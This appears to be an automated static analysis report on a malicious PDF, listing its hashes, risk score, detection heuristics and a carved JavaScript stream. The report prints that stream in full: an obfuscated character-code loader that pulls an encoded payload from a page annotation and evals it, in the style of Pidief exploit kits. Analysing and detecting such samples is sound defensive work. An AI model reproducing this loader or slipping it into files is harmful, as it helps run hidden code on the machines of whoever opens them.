Malicious PDF — malware analysis report

Static analysis result for SHA-256 28420a472d3562aa…

MALICIOUS

PDF

12.7 KB First seen: 2026-05-08
MD5: 7c3b51e0c926fd1c1e3993cc10bb0d8a SHA-1: 3c6866eaa2f4610c1c99480d1a06edca6e61ef5e SHA-256: 28420a472d3562aa1da7ca7924e4227e0f190174834f311b6fd982a96503de3b
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream itself is obfuscated, as suggested by the 'Script obfuscation indicators' in the static triage. This obfuscation, combined with the presence of String.fromCharCode, points towards an attempt to hide malicious code execution, likely for downloading and executing a second-stage payload. No specific family could be identified due to the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
                result +=  String.fromCharCode(list[i] - jump);
            }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 1162 bytes
SHA-256: c09cce6ca3001aa4fc687e7595243eb0dc3da819ff999ce64900fd01e97532b8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "105,102,32,40,49,41,32,123,118,97,114,32,122,59,32,118,97,114,32,121,59,32,122,32,61,32,121,32,61,32,97,112,112,46,100,111,99,59,32,10,9,32,121,32,61,32,48,59,32,9,32,122,46,115,121,110,99,65,110,110,111,116,83,99,97,110,32,40,32,41,59,32,121,32,61,32,122,59,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,118,97,114,32,115,32,61,32,112,91,48,93,46,115,117,98,106,101,99,116,59,32,118,97,114,32,108,32,61,32,115,46,114,101,112,108,97,99,101,40,47,122,47,103,44,32,39,97,37,98,39,46,114,101,112,108,97,99,101,40,47,91,97,98,93,47,103,44,32,39,39,41,41,59,118,97,114,32,116,104,32,61,32,101,118,101,110,116,46,116,97,114,103,101,116,59,32,115,32,61,32,116,104,91,39,117,110,101,115,39,32,43,32,39,99,97,112,101,39,93,32,40,108,41,32,59,118,97,114,32,101,32,61,32,97,112,112,91,39,101,118,39,32,43,32,39,97,108,39,93,59,32,101,40,115,41,59,125"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }